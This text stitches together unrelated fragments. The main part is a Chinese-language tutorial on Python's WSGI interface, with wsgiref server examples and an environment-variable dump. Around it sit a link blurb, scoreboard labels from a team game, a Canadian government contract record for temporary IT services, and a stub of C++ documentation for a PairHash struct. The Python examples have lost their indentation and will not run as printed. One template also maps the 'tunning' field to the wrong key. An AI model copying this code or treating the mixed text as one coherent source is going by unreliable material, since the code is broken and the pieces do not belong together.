The Web Development Discipline: http://bit.ly/n9LCh4. Nice piece on the importance of having a structured approach to development.


What’s WSGI
Web服务器网关接口(Python Web Server Gateway Interface，缩写为WSGI)是为Python语言定义的Web服务器和Web应用程序或框架之间的一种简单而通用的接口。自从WSGI被开发出来以后，许多其它语言中也出现了类似接口。WSGI是作为Web服务器与Web应用程序或应用框架之间的一种低级别的接口，以提升可移植Web应用开发的共同点。WSGI是基于现存的CGI标准而设计的。
WSGI区分为两个部份：一为“服务器”或“网关”，另一为“应用程序”或“应用框架”。在处理一个WSGI请求时，服务器会为应用程序提供环境资讯及一个回呼函数(Callback Function)。当应用程序完成处理请求后，透过前述的回呼函数，将结果回传给服务器。所谓的 WSGI 中间件同时实现了API的两方，因此可以在WSGI服务和WSGI应用之间起调解作用：从WSGI服务器的角度来说，中间件扮演应用程序，而从应用程序的角度来说，中间件扮演服务器。“中间件”组件可以执行以下功能：
重写环境变量后，根据目标URL，将请求消息路由到不同的应用对象。
允许在一个进程中同时运行多个应用程序或应用框架。
负载均衡和远程处理，通过在网络上转发请求和响应消息。
进行内容后处理，例如应用XSLT样式表。
WSGI没有官方的实现, 因为WSGI更像一个协议。只要遵照这些协议,WSGI应用(Application)都可以在任何服务器(Server)上运行, 反之亦然。WSGI就是Python的CGI包装，相对于Fastcgi是PHP的CGI包装。
WSGI将 web 组件分为三类： web服务器，web中间件,web应用程序， wsgi基本处理模式为 ： WSGI Server -> (WSGI Middleware)* -> WSGI Application 。
WSGI Server/gateway
wsgi server可以理解为一个符合wsgi规范的web server，接收request请求，封装一系列环境变量，按照wsgi规范调用注册的wsgi app，最后将response返回给客户端。文字很难解释清楚wsgi server到底是什么东西，以及做些什么事情，最直观的方式还是看wsgi server的实现代码。以python自带的wsgiref为例，wsgiref是按照wsgi规范实现的一个简单wsgi server。
Python 2.5和更高版本带有一个WSGI服务器: wsgiref。
大致流程如下：
服务器创建socket，监听端口，等待客户端连接。
当有请求来时，服务器解析客户端信息放到环境变量environ中，并调用绑定的handler来处理请求。
handler解析这个http请求，将请求信息例如method，path等放到environ中。
wsgi handler再将一些服务器端信息也放到environ中，最后服务器信息，客户端信息，本次请求信息全部都保存到了环境变量environ中。
wsgi handler 调用注册的wsgi app，并将environ和回调函数传给wsgi app
wsgi app 将reponse header/status/body 回传给wsgi handler
最终handler还是通过socket将response信息塞回给客户端。
Application Interface
WSGI应用程序接口被实现为callable对象：一个函数、一个方法、一个类或者一个实现了object.call()方法的实例，这个callable对象必须能够：
1.接受两个参数
2.将响应内容以字符串迭代器的形式发给服务器
应用程序的框架如下：
# The application interface is a callable object
# It accepts two arguments:
# environ points to a dictionary containing CGI like environment
# variables which is populated by the server for each
# received request from the client；
# start_response is a callback function supplied by the server
# which takes the HTTP status and headers as arguments
def application ( environ, start_response ):
# Build the response body possibly
# using the supplied environ dictionary
response_body = 'Request method: %s' % environ['REQUEST_METHOD']
# HTTP response code and message
status = '200 OK'
# HTTP headers expected by the client
# They must be wrapped as a list of tupled pairs:
# [(Header name, Header value)].
response_headers = [
('Content-Type', 'text/plain'),
('Content-Length', str(len(response_body)))
]
# Send them to the server using the supplied function
start_response(status, response_headers)
# Return the response body. Notice it is wrapped
# in a list although it could be any iterable.
return [response_body]
Enviroment Dict
服务器将来自客户端请求中的类似CGI的变量填充到环境变量字典中，下面脚本将输出整个字典：
#! /usr/bin/env python
# Python's bundled WSGI server
from wsgiref.simple_server import make_server
def application (environ, start_response):
# Sorting and stringifying the environment key, value pairs
response_body = [
'%s: %s' % (key, value) for key, value in sorted(environ.items())
]
response_body = '\n'.join(response_body)
status = '200 OK'
response_headers = [
('Content-Type', 'text/plain'),
('Content-Length', str(len(response_body)))
]
start_response(status, response_headers)
return [response_body]
# Instantiate the server
httpd = make_server (
'localhost', # The host name
8051, # A port number where to wait for the request
application # The application object name, in this case a function
)
# Wait for a single request, serve it and quit
httpd.handle_request()
将上面程序片段保存为environment.py，在终端用运行：python environment.py，服务器将监听8051端口，打开浏览器输入：http://localhost:8051
Apple_PubSub_Socket_Render: /private/tmp/com.apple.launchd.omVjTfSPWb/Render
COLORFGBG: 7;0
CONTENT_LENGTH:
CONTENT_TYPE: text/plain
GATEWAY_INTERFACE: CGI/1.1
HOME: /Users/yuzujin
HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_ENCODING: gzip, deflate, sdch, br
HTTP_ACCEPT_LANGUAGE: zh-CN,zh;q=0.8,en;q=0.6,pt;q=0.4,th;q=0.2,ar;q=0.2,ja;q=0.2
HTTP_CONNECTION: keep-alive
HTTP_HOST: localhost:8051
HTTP_UPGRADE_INSECURE_REQUESTS: 1
HTTP_USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
ITERM_PROFILE: Default
ITERM_SESSION_ID: w0t4p0:B9A76F07-EEF7-495A-8CC6-ECAA412ADBB0
LANG: zh_CN.UTF-8
LC_CTYPE: zh_CN.UTF-8
LESS: -R
LOGNAME: yuzujin
LSCOLORS: Gxfxcxdxbxegedabagaacd
OLDPWD: /Users/yuzujin/app/test/static/font
PAGER: less
PATH: /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
PATH_INFO: /
PWD: /Users/yuzujin/app
QUERY_STRING:
REMOTE_ADDR: <IP_ADDRESS>
REMOTE_HOST: <IP_ADDRESS>.in-addr.arpa
REQUEST_METHOD: GET
SCRIPT_NAME:
SERVER_NAME: <IP_ADDRESS>.in-addr.arpa
SERVER_PORT: 8051
SERVER_PROTOCOL: HTTP/1.1
SERVER_SOFTWARE: WSGIServer/0.1 Python/2.7.6
SHELL: /bin/zsh
SHLVL: 1
SSH_AUTH_SOCK: /private/tmp/com.apple.launchd.itL8Kal1Y1/Listeners
TERM: xterm-256color
TERM_PROGRAM: iTerm.app
TERM_PROGRAM_VERSION: 3.0.12
TERM_SESSION_ID: w0t4p0:B9A76F07-EEF7-495A-8CC6-ECAA412ADBB0
TMPDIR: /var/folders/2k/yqr8f64n66j1q_ydgf6phb9h0000gn/T/
USER: yuzujin
VERSIONER_PYTHON_PREFER_32_BIT: no
VERSIONER_PYTHON_VERSION: 2.7
XPC_FLAGS: 0x0
XPC_SERVICE_NAME: 0
ZSH: /Users/yuzujin/.oh-my-zsh
_: /usr/bin/python
__CF_USER_TEXT_ENCODING: 0x1F5:0x19:0x34
wsgi.errors: <open file '<stderr>', mode 'w' at 0x106c721e0>
wsgi.file_wrapper: wsgiref.util.FileWrapper
wsgi.input: <socket._fileobject object at 0x106d7a450>
wsgi.multiprocess: False
wsgi.multithread: True
wsgi.run_once: False
wsgi.url_scheme: http
wsgi.version: (1, 0)
Response Iterable
WSGI 应用的返回是return [response_body]，如果换成return response_body，会发生什么呢？ 服务器将生成一个字节迭代器，一次向客户端只发送一个字节，这样速度很慢，而return [response_body]是生成一个字符串迭代器，效率高很多。
如果迭代器yield多个字符串，则响应主体的长度将是所有字符串长度之和，如下：
#! /usr/bin/env python
from wsgiref.simple_server import make_server
def application(environ, start_response):
response_body = [
'%s: %s' % (key, value) for key, value in sorted(environ.items())
]
response_body = '\n'.join(response_body)
# Adding strings to the response body
response_body = [
'The Beggining\n',
'*' * 30 + '\n',
response_body,
'\n' + '*' * 30 ,
'\nThe End'
]
# So the content-lenght is the sum of all string's lengths
content_length = sum([len(s) for s in response_body])
status = '200 OK'
response_headers = [
('Content-Type', 'text/plain'),
('Content-Length', str(content_length))
]
start_response(status, response_headers)
return response_body
httpd = make_server('localhost', 8051, application)
httpd.handle_request()
WSGI请求解析
1.GET方式
GET方式下，query string就是?之后的所有内容。
例如请求为：http://localhost:8051/?age=10&hobbies=software&hobbies=tunning
#!/usr/bin/env python
from wsgiref.simple_server import make_server
from cgi import parse_qs, escape
html = "age: %(age)s software: %(checked-software)s tunning: %(checked-software)s hobbies: %(hobbies)s"
def application (environ, start_response):
# Returns a dictionary in which the values are lists
d = parse_qs(environ['QUERY_STRING'])
# As there can be more than one value for a variable then
# a list is provided as a default value.
age = d.get('age', [''])[0] # Returns the first age value
hobbies = d.get('hobbies', []) # Returns a list of hobbies
# Always escape user input to avoid script injection
age = escape(age)
hobbies = [escape(hobby) for hobby in hobbies]
response_body = html % { # Fill the above html template in
'checked-software': ('', 'checked')['software' in hobbies],
'checked-tunning': ('', 'checked')['tunning' in hobbies],
'age': age or 'Empty',
'hobbies': ', '.join(hobbies or ['No Hobbies?'])
}
status = '200 OK'
# Now content type is text/html
response_headers = [
('Content-Type', 'text/html'),
('Content-Length', str(len(response_body)))
]
start_response(status, response_headers)
return [response_body]
httpd = make_server('localhost', 8051, application)
# Now it is serve_forever() in instead of handle_request()
httpd.serve_forever()
2.POST方式
POST方式下，query string不是在url中传递的，而是在HTTP请求体中，WSGI server提供了wsgi.input文件获取环境变量。
#!/usr/bin/env python
from wsgiref.simple_server import make_server
from cgi import parse_qs, escape
html = "age: %(age)s software: %(checked-software)s tunning: %(checked-software)s hobbies: %(hobbies)s"
def application(environ, start_response):
# the environment variable CONTENT_LENGTH may be empty or missing
try:
request_body_size = int(environ.get('CONTENT_LENGTH', 0))
except (ValueError):
request_body_size = 0
# When the method is POST the variable will be sent
# in the HTTP request body which is passed by the WSGI server
# in the file like wsgi.input environment variable.
request_body = environ['wsgi.input'].read(request_body_size)
d = parse_qs(request_body)
age = d.get('age', [''])[0] # Returns the first age value.
hobbies = d.get('hobbies', []) # Returns a list of hobbies.
# Always escape user input to avoid script injection
age = escape(age)
hobbies = [escape(hobby) for hobby in hobbies]
response_body = html % { # Fill the above html template in
'checked-software': ('', 'checked')['software' in hobbies],
'checked-tunning': ('', 'checked')['tunning' in hobbies],
'age': age or 'Empty',
'hobbies': ', '.join(hobbies or ['No Hobbies?'])
}
status = '200 OK'
response_headers = [
('Content-Type', 'text/html'),
('Content-Length', str(len(response_body)))
]
start_response(status, response_headers)
return [response_body]
httpd = make_server('localhost', 8051, application)
httpd.serve_forever()
WSGI 应用框架
Appier is an object-oriented Python web framework built for super fast app development. It’s as lightweight as possible, but not too lightweight. It gives you the power of bigger frameworks, without their complexity.
Bobo is a light-weight framework. Its goal is to be easy to use and remember.
Bottle is a fast and simple micro-framework for small web-applications. It offers request dispatching (Routes) with url parameter support, Templates, key/value Databases, a build-in HTTP Server and adapters for many third party WSGI/HTTP-server and template engines. All in a single file and with no dependencies other than the Python Standard Library.
CherryPy is a pythonic, object-oriented web development framework. Includes support for WSGI servers. CherryPy 3 includes better support for living alongside other WSGI frameworks, applications, and middleware.
Includes support for WSGI servers
Falcon is a high-performance Python framework for building cloud APIs. It encourages the REST architectural style, and tries to do as little as possible while remaining highly effective.
Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.
It inherits its high WSGI usage and compliance from Werkzeug.
The notmm toolkit is a fork of Django that doesn’t get in your way. Features includes improved WSGI support (Paste), SQLAlchemy, and very few developers! ;-)
Poor WSGI for Python is light WGI connector with uri routing between WSGI server and your application. It have mod_python compatible request object, which is post to all uri or http state handler.
Pycnic is a mimimalist JSON API oriented framework for Python 2.7 and 3.x. It provides routing, cookies, and JSON error handling, while maintaining a small codebase.
Merger of the Pylons and repoze.bfg projects, Pyramid is a minimalist web framework aiming at composability and making developers paying only for what they use.
Another WSGI framework (not sure what the distinguishing features are) repoze.zope2 A module that implements an analogue of the Zope 2 ZPublisher, with some major simplifications and cleanups. Its core mission is to allow publishing existing Zope2 applications in a WSGI environment that externalizes some of the features of “classic” Zope2 into middleware.
Database-driven app in minutes; inherits its WSGI support from CherryPy.
Makes web apps. A small RESTful library.
A full stack framework includes its own Database Abstraction Layer (with support for SQLite, MySQL, PostgreSQL, MSSQL, DB2, Informix, Oracle, FireBase, Ingres and Google App Engine), its own template laguage, and a web based IDE. web2py itself is a WSGI app. Not related to web.py.
A nanoframework (only a few hundred lines of code) offering an entry_points-based dependency graphing extension system, MVC separation, reusable namespaces, and universal URL dispatch protocol with tight WebOb integration and natural Python semantics.
weblayer is a lightweight, componentised package for writing WSGI applications.
The venerable Python web framework, recreated anew in Zope 3, and now a WSGI application. It seems to have some WSGI bits deep inside the publisher, but they aren’t really documented at this time.
WSGI 服务器
A threaded/forking WSGI server implemented in C (it embeds a Python interpreter to run the actual application). It communicates with the web server via AJP, and is known to work with mod_jk and mod_proxy_ajp. Also available in an SCGI flavor.
A pure-Python web server (using the CherryPy module mentioned next) with three hooks to hang your WSGI on.
CherryPy’s “high-speed, production ready, thread pooled, generic WSGI server.” Includes SSL support. Supports Transfer-Encoding: chunked. For details on running foreign (non-CherryPy) applications under the CherryPy WSGI server, see WSGI Support. See also the CherryPy wiki ModWSGI page.
A fast HTTP server supporting WSGI, with extensions for Coroutine-based pages with deeply-integrated COMET support.
WSGI server with extensions for coroutine oriented programming.
Fapws is a WSGI binding between Python and libev.
See also: author’s block, GoogleGroup.
fcgiapp is a Python wrapper for the C FastCGI SDK. It’s used by PEAK’s FastCGI servers to provide WSGI-over-FastCGI.
Includes threaded and forking versions of servers that support FastCGI, SCGI, and AJP protocols.
WSGI-over-FastCGI server implemented using gevent coroutine-based networking library. Supports FastCGI connection multiplexing. Includes adapters for Django and other frameworks that use PasteDeploy.
WSGI HTTP Server for UNIX, fast clients and nothing else. This is a port of Unicorn to Python and WSGI.
An implementation of WSGI for running as a ISAPI extension under IIS.
James provides a very simple multi-threaded WSGI server implementation based on the HTTPServer from Python’s standard library. (unmaintained)
A WSGI Server inspired by Unicorn, written in pure Python.
WSGI server built with M2Crypto and twisted.web2 with some SSL related tricks. Used with client side smart cards and it is also possible to run the HTTPS server with a key in a HSM (like a crypto token)
Modjy is a java servlets to WSGI gateway that enables the running of jython WSGI applications inside java servlet containers.
Python WSGI adapter module for Apache
NWSGI is a .NET implementation of the Python WSGI specification for IronPython and IIS. This makes it easy to run Python web applications on Windows Server. This is a potential alternative to ISAPI + ISAPI_WSGI modules.
Netius is a Python network library that can be used for the rapid creation of asynchronous non-blocking servers and clients. It has no dependencies, it’s cross-platform, and brings some sample netius-powered servers out of the box, namely a production-ready WSGI server.
Minimalistic threaded WSGI server built on BaseHTTPServer. Doesn’t support Transfer-Encoding: chunked.
“proof of concept” WSGI since 2008 (1.x), support upgraded to “beta” in version 3 (with limitations e.g. requires Ruby even when unused) and first-class in Passenger 4.
python-fastcgi is a lightweight wrapper around the Open Market FastCGI C Library/SDK. It includes threaded and forking WSGI server implementations.
Spawning
twisted.web
A WSGI server based on Twisted Web’s HTTP server (requires Twisted 8.2 or later).
Fast, self-healing, developer-friendly WSGI server, meant for professional deployment and development of Python Web applications.
Werkzeug’s multithreaded and multiprocessed development server. Wraps wsgiref to add a reloader, multiprocessing, static files handling and SSL.
Wsgid is a generic WSGI handler for mongrel2 webserver. Wsgid offers a complete daemon environment (start/stop/restart) to your app workers, including automatically re-spawning of processes.
WSGIserver is a high-speed, production ready, thread pooled, generic WSGI server with SSL support for both Python 2 (2.6 and above) and Python 3 (3.1 and above). WSGIserver is a one file project with no dependency.
Includes a threaded HTTP server.
Included as part of thef standard library since Python 2.5; it includes a threaded HTTP server, a CGI server (for running any WSGI application as a CGI script), and a framework for building other servers.
For versions prior to Python 2.5, see wsgiref’s original home.
Zujin 10 January 2017


Team One
Board
Hole
Miss 1
Corrector (- 1 pt)
Corrector (+ 1 pt)
Team One Score :
0
Team Two
«
Board
Hole
Miss 2
Corrector (- 1 pt)
Corrector (+ 1 pt)
Team Two Score :
0
Team One Starts
Team Names
Team One Will Start The Game
Team One
Team Two


N.B.: The contract date represents the date that the contract is recorded in the departmental financial system.
| Vendor Name | MGIS INC. |
|---|---|
| Reference Number | 700279255 |
| Contract Date | 2013-12-09 |
| Description of Work | 813 - Temporary Help Services |
| Contract Period - From | 2013-12-16 |
| Contract Period - To | 2014-11-14 |
| Delivery Date | |
| Contract Value | $157,889.25 |
| Total Amended Contract Value | |
| Comments | This contract was competitively sourced.The Canada Gazette, as a priority service of PWGSC, has an increased workload due to several factors such as, but not limited to, the integration of specialized tools and the modernization exercise of its website. Yet the CGD continues to need and to maintain custom tools within its main publishing application. This task requires strong skills in scripting languages such as JavaScript, VBScript or Adobe Extend Script for InDesign and , HTML5, XHTML, XML, PDF, W3C, and Canada government web and accessibility standards. As such a competitive process was used to provide the services of an Advanced Computer Applications Support Specialist. |


Contents:
PairHash
Struct to create hash for pair.
Public Functions
T1
T2
operator()
Overloaded operator to return hash value of a pait.
p